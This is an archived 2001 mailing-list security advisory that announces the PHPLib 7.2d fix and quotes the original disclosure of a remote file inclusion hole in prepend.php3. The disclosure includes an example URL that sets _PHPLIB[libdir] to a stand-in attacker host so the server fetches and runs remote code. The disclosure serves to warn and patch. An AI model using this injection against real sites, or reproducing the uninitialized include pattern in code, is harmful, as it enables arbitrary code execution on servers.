The PHPLib Team announces phplib-7.2d, availible now. This release fixes the recently discovered hole in prepend.php3 that can allow a remote attacker to inject non-local code into any phplib based script. Please note that this affects all applications that depend on PHPLib. Some apps have decided to distribute phplib along with their app for easier installation. Please check your phplib apps to determine if this is the case. This hole has been mentioned in a HORDE IMP announcement and can be found at: http://marc.theaimsgroup.com/?l=imp&m=99575417320757&w=2 You can download phplib-7.2d from: http://sourceforge.net/project/showfiles.php?group_id=31885&release_id=44737 Note the new download location, you are not reading that incorrectly, PHPLib is starting the journey to SourceForge from its current home on phplib.netuse.de. CVS, Mailing Lists and the Website will be migrated over the next week. The current phplib.netuse.de site will be shortly removing all downloads and re-directing users to the new SourceForge site. Please be sure to keep an eye on http://sourceforge.net/projects/phplib/ What follows is the original announcemnt of the hole from the discoverer Giancarlo Pinerolo <giancarloat_private> --- BEGIN ANNOUNCE I. Systems Affected * PHPLIB : systems with default PHPLIB installation, and default PHP settings, either as an Apache Module or a CGI, it also affects PHPLIB when used on any Windows web server with the PHP interpreter Both PHP3 and PHP4 are vulnerable the use of _PHPLIB[libdir] first appeared on versions of PHPLIB starting December 1998 II. Overview In PHP, variables do not have to be declared. They are created as soon as a value is assigned to them. When PHP is configured with register_globaps enabled (as it is by default), variables submitted by the user are available in the global namespace. This means that, if a form or an URL query string contains a variable named "myvar", this variable is made available to the script as $myvar. Getting variables from user input is, in the end, what web programming is allabout, but in this case an attacker can exploit the fact that a variable, not meant to be accepted as input, can actually make its way in, because it has not been previously initialized by the script. PHP also has the possibility to pass associative arrays via the GET or POST methods. An example is an URL Like this: http://www.myhost.com/myscript.php?MYARRAY[element1] or a form whose input field looks like this: <INPUT type="text" name="MYARRAY[element1]"> PHP also has the possibility to transparently 'include' in a script other pieces of code via the 'include' and 'require' functions. It automatically discerns if the file to be included is on the local filesystem or on a remote location, when the php setting php_enable_fsockopen is true. include("myfile.php") # will include it from the local filesystem include("http://www.there.com/myfile.php") # will include it from # the net For more information on this issues I suggest reading tye document titled "A Story in Scarlet" Exploiting Common Vulnerabilities in PHP Applications" at http://www.securereality.com.au/studyinscarlet.txt III. Description By providind a value for the the array element $_PHPLIB[libdir], an intruder can force a script to load and execute scripts from another server. This is because the value of $_PHPLIB[libdir] gets initalized *only* if not already set. This is particularly gravious because, in the normal PHPLIB installation, loadin other libraries is done at the very beginning. The first instructions in the file 'prepend.php3', that is the very first file which normally gets included in all PHPLIB installation, is : require($_PHPLIB["libdir"] . "db_mysql.inc"); or other filenames like 'db_pgsql.inc' for the postgres database, depending on the database in use. if, in te above instruction, $_PHPLIB[libdir] is a string whose value is "http://attacker.com/", the instrucion executed will be: require("http://attacker.com/" . "db_mysql.inc"); Thus, simply crafting and opening with a browser an URL like: http://victim.com/any/phplib/page.php?_PHPLIB[libdir]=http://attacker.com/ will make the script 'page.php', which the attacker knows is based on the PHPLIB toolkit, include and execute any arbitrary php instruction contained in a file named 'db_mysql.inc', loaded via an http request for it, located, in the example above, in the document root of the 'attacker.com' web server (http://attacker.com/db_mysql.inc) Considered the wealth of filesystem and network functions available as PHP functions, and the easy exploitation of this attack, I consider it *very* harmful Giancarlo Pinerolo Rome July 14,2001 --- END ANNOUNCE -n -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- nathan hruby / digital statement nathanat_private http://www.dstatement.com/ Public GPG key can be found at: http://www.dstatement.com/nathan-gpg-key.txt ED54 9A5E 132D BD01 9103 EEF3 E1B9 4738 EC90 801B -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
This archive was generated by hypermail 2b30 : Mon Jul 23 2001 - 09:15:41 PDT